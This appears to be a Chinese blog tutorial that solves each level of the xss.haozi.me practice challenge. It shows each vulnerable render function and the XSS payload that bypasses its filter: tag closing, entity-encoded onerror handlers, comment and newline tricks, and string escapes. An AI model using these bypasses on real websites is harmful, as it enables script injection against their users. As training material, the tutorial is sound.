XSS教程之xss.haozi.me攻略(超详细)

· · 算法·理论

与洛谷 @season100201 同号。

什么是XSS?

  网站中包含大量的动态内容以提高用户体验,比过去要复杂得多。所谓动态内容,就是根据用户环境和需要,Web应用程序能够输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting,安全专家们通常将其缩写成XSS,原本应当是css,但为了和层叠样式表(Cascading Style Sheet,CSS)有所区分,故称XSS)的威胁,而静态站点则完全不受其影响。恶意攻击者会在 Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

  跨站脚本攻击是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户在浏览网页时会受到影响,恶意用户利用xss 代码攻击成功后,可能得到很高的权限、私密网页内容、会话和cookie等各种内容

  攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击”,而JavaScript是新型的“ShellCode”。

  xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。

(以上文段选自:XSS简介与实战)

xss.haozi.me

  官网

  进入之后,首先填写用户名(不多于7个字符)

  胜利条件是输出:

alert(1);

  ok开始~

0x00

我们可以看到右侧的server code,里面是一串JS代码,内容是:

function render (input) {
  return '<div>' + input + '</div>'
}

如果我们想要实现弹窗显示“1”的效果,只需要用script标签即可。

于是在input code一栏中输入:

<script>alert(1);</script>

完成,十分简单

0x01

老样子,观察右边的代码:

function render (input) {
  return '<textarea>' + input + '</textarea>'
}

可以发现这次加了一个textarea标签,再次尝试0x00的代码:

<script>alert(1);</script>

此时显示框html中是:

<textarea><script>alert(1);</script></textarea>

很明显的不可以,网页上是这样的:

可以先思考一下怎么做……

ok其实这个也是很简单的,观察server code可知,在外面套上textarea标签后会转换成文本框的形式,那么最好的解决方式就应该是——

textarea标签封上就好了嘛

input code里输入:

</textarea><script>alert(1);</script><textarea>

其中,</textarea>的作用是关闭前一个textarea标签,这样补起来形成的html就长这个样子:

<textarea></textarea><script>alert(1);</script><textarea></textarea>

明显,直接把script标签放到了textarea标签的外面,让他不再受影响。

完成

0x02

老样子观察右侧server code

function render (input) {
  return '<input type="name" value="' + input + '">'
}

好的,这一次和上一题的方法基本一样,这一次只需要把value属性后跟的双引号补全,再把input标签补全,然后将后面剩下的">封口或者是直接注释掉都可以。

input code 如下:

"><script>alert(1);</script><

形成html如下:

<input type="name" value=""><script>alert(1);</script><">

完成

0x03

好的,观察server code

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

emm,观察这段代码,发现用到了正则表达式……

这个正则表达式的大意就是把所有的左括号“(”和右括号“)”搜索出来,然后由代码第三行的replace函数把左括号和右括号替换成“啥都没有”

这个“啥都没有”就是“空”的意思,等于是你在其中输入的左括号和右括号都不翼而飞了~

好吧,那我们看看这个关卡如何过去捏~

其实非常熟悉JS语法的同学可能知道,JS中的括号是可以用反引号`来表示的

啥意思呢?就是本来我们要alert(1);的内容其实也可以写成alert`1`

所以说问题迎刃而解

input code中写:

<script>alert`1`;</script>

完成

0x04

server code

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

ok啊这次成功地把`也替换成空了……

让我们再想一想如何解决……?

ok字数到了,再见,继续观看就看下一篇文章吧

开个玩笑,你不会真退出了吧?

其实遇到这种情况只需要用到html实体编码即可

所以直接用alert&#40;1&#41;就可以啦

于是你是不是就想试一试这个?

<script>alert&#40;1&#41;</script>

如果你真的试过了,那么就会发现,他没有用……

WHY???

别忘了,script标签中是不能放html实体编码的

那就换一个呗,用啥好捏~?怎么用捏~?

举个例子,比如说我们用img标签的onerror属性,后面直接跟上你的JS代码,不需要加引号

于是就有:

<img src=1 onerror=alert&#40;1&#41;>

完成

emm,至于这个src属性为啥是1,它总得有个值吧?就随便给他一个1呗~

0x05

我都不想重复着一句了:看server code

function render (input) {
  input = input.replace(/-->/g, '?')
  return '<!-- ' + input + ' -->'
}

woww,这个笑脸 真棒

分析代码,这会在你的输入两边加入注释符号,你的输入就被注释掉对吧?

所以这玩意在生活中真的会出现吗?那他输入有个*用啊

好吧,言归正传,这道题当然是仿照着0x01和0x02的做法,把注释都封起来对吧?

于是有人就尝试这个:

--><script>alert(1);</script><!--

好吧很明显不对嘛,抓换成的html就成了这样的:

<!-- ?<script>alert(1);</script><!-- -->

woww,这个笑脸 真棒*2

好吧,那应该怎么办?

html非常熟悉的又来了!我们知道还有一种非常冷门的封闭注释的办法:--!>

诶,没想到吧,html注释还可以<!-- --!>这么用

而这个网页只会搜取-->那就这么写呗:

--!><script>alert(1);</script><!--

完成

哦对了,补充说明:常见逃逸搜索的办法:

0x06

以后就直接放server code了,就不再解释了……

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

依旧是正则表达式,大概的意思是找出所有auto或者on开头并且以=结尾的字符串或者是>字符,所以我们用onerror就不行了啊……

等!还记得刚才补充的逃逸搜索的办法吗?看看第一条,在等号前面加个空格试试?

然后你就会发现你被骗了,正确做法是怎样的呢?

明天再说吧,今天先睡觉了,Byebye!

ok我回来了,我们继续\~

既然空格逃不掉搜索,那就用回车嘛,

onerror后面加个回车再写等于号,就成了这样:

type="image" src="" onerror
=alert(1)

完成

至于这个type属性后面跟"image"其实就是img标签的意思,就需要给src赋值了

当然,有种更简便的方法,就是不用onerror属性,用其他的,比如onmousedown属性,就也可以写成这样:

onmousedown
=alert(1)

然后再点击一下文本框的数字1,就可以了(有时候网站会卡顿,点一下不行就点两下)

0x07

看代码

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

好,我知道很多同学看到article标签就想把他封上,于是就写出来了这样的代码:

</article><script>alert(1);</script><article>

如果你真的这样做了,那么就说明你没有认真读代码啊!

因为你会发现生成的html长这样:

<article>alert(1);</article>

看代码第二行就不会觉得 book 思议了,又双叒叕是正则表达式,大概意思是:匹配<>之间的任意字符,其中<\/? 匹配<或者 </[^>]+ 匹配一个或多个非 >的字符,>匹配> 字符本身。

好的,那应该怎么办呢?

额,其实这要用到非常别扭的东西,咱不闭合不就行了嘛,但是script这样需要有<></>这样的东西就不行了,那就用img呗~

然后就输入:

<img src="" onerror=alert(1) 

注意末尾要有一个空格!

0x08

代码!

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

如果你前面的都学会了,那么你就可以试试这个了,很简单的,正则表达式的意思是找出所有</style>

你们先做,自己试一试!

答案:input code如下

</style ><script>alert(1);</script><style>

很简单吧,刚才说过,可以用空格跳过搜索。

完成

0x09

看代码:

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

这道题其实也是很简单的,只是要求了代码要以https://www.segmentfault.com/开头

都提示到这里了,你先自己做做试试?

答案:啊,把他封起来不久行了?

https://www.segmentfault.com/"></script><script>alert(1);</script><

没问题吧?很简单,如果看不懂的可以再复习一下前面的内容!

完成

0x0A

代码:

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

斯,这一下就把你能用上的东西基本上都转义了……

好吧,那就只能用——

另一种方法。。。

额,这个上面不是有<script src="">嘛,那就直接在里面输入一个网址,让他有这个功能不就行了

诶,官方还真有

输入:

https://www.segmentfault.com.haozi.me/j.js

诶,成功了,没想到吧,其实如果我们打开浏览器看一眼这个网站,里面还真就是alert(1);

神奇!所以第一个发明这个的人是怎么想出来的捏?

完成

0x0B

代码:

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

其实可以用上一题一样的想法,因为不管是html还是网址,都不对大小写敏感,但是JS会,所以就不能直接用script标签,于是可以输入:

<script src="https://www.segmentfault.com.haozi.me/j.js"></script>

完成!

其实还有一种方法:就是在img标签中用实体编码,这么久没用过是不是都快忘了?

<img src="" onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

完成

忘记的赶紧回去复习!

0x0C

代码:

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

这下好了,script标签不让用了,但是刚才上一题还说过另外一种做法:实体编码,那就这样呗?

输入:

<img src="" onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

完成

0x0D

代码:

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

emm,这次竟然是直接在script标签里了,但是……

这怎么被注释掉了啊喂!

okok,不慌不慌,慌了这个题肯定做不出来!

回想:JS的单行注释符是//对吧?所谓单行注释,那就只能注释这一行嘛!换个行不就得了?然后再把后面封起来就好了啊!

为了体现换行空一行,我在空着的那行加上了Season,你们知道那没有实际作用就行了

于是输入:

Season
alert(1);
('

诶,你是不是输入了?然后发现不行来找我了是吧?

没错,他当然不行,显示出来的html是这样的:

<script>
          // alert('Season
alert(1);
(')
    </script>

你可能会说,你的单引号呢?

那我说,你看代码了吗?

他把单引号、双引号、正斜杠都换成了空!

那么这样也就没法注释掉了,该怎么办呢?

其实还是可以注释的,只不过要用一种冷门的办法:-->

注意,这是在JS中,不是html,所以<!-- -->就不能用了

好了,输入:

Season
alert(1);
-->

完成

0x0E

等会再来更新,我先走了,Bye\~

ok我们继续

看代码~~

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

呜呼!这次匹配的是<加上一个字母的形式,相当于把所有标签给屏蔽掉了……

这一个其实真的很考验基础知识?如果你们对英语很熟悉,就会发现古英语中有一个ſ,也就是我们说的“长s”,他的大写也是S,所以就可以用这个来XSS

输入:

<ſcript src="" onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)></script>

完成

这道题我实在是没有找到第二种想法……

0x0F

代码:

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

好吧,这个很简单啊先把error封闭上,然后写alert,然后再把后面注释掉

输入:

');alert(1);//

完成

0x10

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

这个如果仔细看过了前面的内容,相信这个难不倒你,你先试一试?

ok公布答案,首先随便给window.data随便赋一个值,然后换行,再写alert就好了

输入:

1;
alert(1);

完成

0x11

看代码:

function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

看起来这次的代码十分的长,让我们来分析一下~

大概就是将各种转义字符给弄掉,但是其实没啥用,还是把他们合上然后再alert,再把后面注释掉

输入:

");alert(1);//

完成

0x12

终于到最后一关了,看代码:

function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

好,现在把"转义了,那么取消转义的方法就是加一个\,就能把用于转义的反斜杠变为字符反斜杠,,然后就简单了

输入:

\");alert(1);//

完成

结尾

ok这个基本上是说完了,有问题请加 QQ: 3389786744Email: [email protected]Github: https://github.com/season-longsir

再见!